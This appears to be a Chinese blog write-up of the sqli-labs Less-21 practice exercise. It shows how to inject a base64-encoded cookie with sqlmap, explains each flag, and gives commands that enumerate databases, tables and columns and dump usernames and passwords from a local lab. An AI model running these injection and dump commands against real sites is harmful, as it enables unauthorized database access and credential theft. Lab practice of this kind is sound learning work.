目录
源码分析
用sqlmap润
注入点测试
爆数据库
爆表
爆字段
爆值
源码分析
跟上一关的差别就是cookie加密了,还有闭合号的不同
对cookie里uname的值进行了base64加密,在使用cookie的时候又会进行base64解密,所以在进行注入的时候,应将注入代码进行base64加密,这里一样可以利用时间盲注,报错盲注,DNSlog注入
用sqlmap润手工搞累了,这次试一下sqlmap,也顺便熟悉一下怎么用
注入点测试打开Windows终端
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode
解析一下上面参数对应的意思
-u 网站URL
后面要注入的网址的URL
--cookie="x=a"
意思是指对cookie名为x的参数进行注入,上面就是对uname这个点进行注入,后面加*意思是只对cookie对应的点进行注入测试,不加的话还会测试其他参数是否为注入点,加上可以节约时间
--dbms 数据库名
意思是明确注入目标数据库名,上面的意思是目标数据库为MySQL,不加的话会对所有的数据库进行测试,加上节约时间
--threads=线程数(1-10)
上面的意思是用10线程跑sqlmap,线程越高跑出来的时间越短,过高可能会访问繁忙而被waf拦截
--batch
意思是选择默认选项,跑sqlmap的时候不加上这句话,会提示你是否继续的
--tamper=加密方式
对注入的内容进行加密注入,上面的意思是在对uname进行注入的时候,会先进行base64加密再注入
回车开跑(注意,因为我环境变量里的python是3.0版本以上的,不支持sqlmap,所以就下了个2.7版本的python并改名为python27加进环境变量,防止版本冲突)
爆出了可用注入方式跟网站环境配件的版本,说明uname这个是注入点
爆数据库爆一下全部数据库,同上面的语句后面加上--dbs
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode --dbs
也可以只爆当前使用的数据库名,后面语句加上-current-db
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -current-db
爆表
知道数据库名,就能爆相应的表了,在第一条语句后面加上-D security -tables
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -tables
爆字段-D security
指定数据库进行注入
-tables
爆出指定数据库内的所有表名
在知道数据库跟表名的前提下,同第一条测试注入语句后面加上-D security -T users -columns
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -columns
爆值-T users
指定表名users
-columns
爆指定好数据库跟表名的全部字段
python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -C"id,password,username" -dump
-C"id,password,username" -dump
意思是指定id,password,username这三个字段,查看这三个字段的值
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)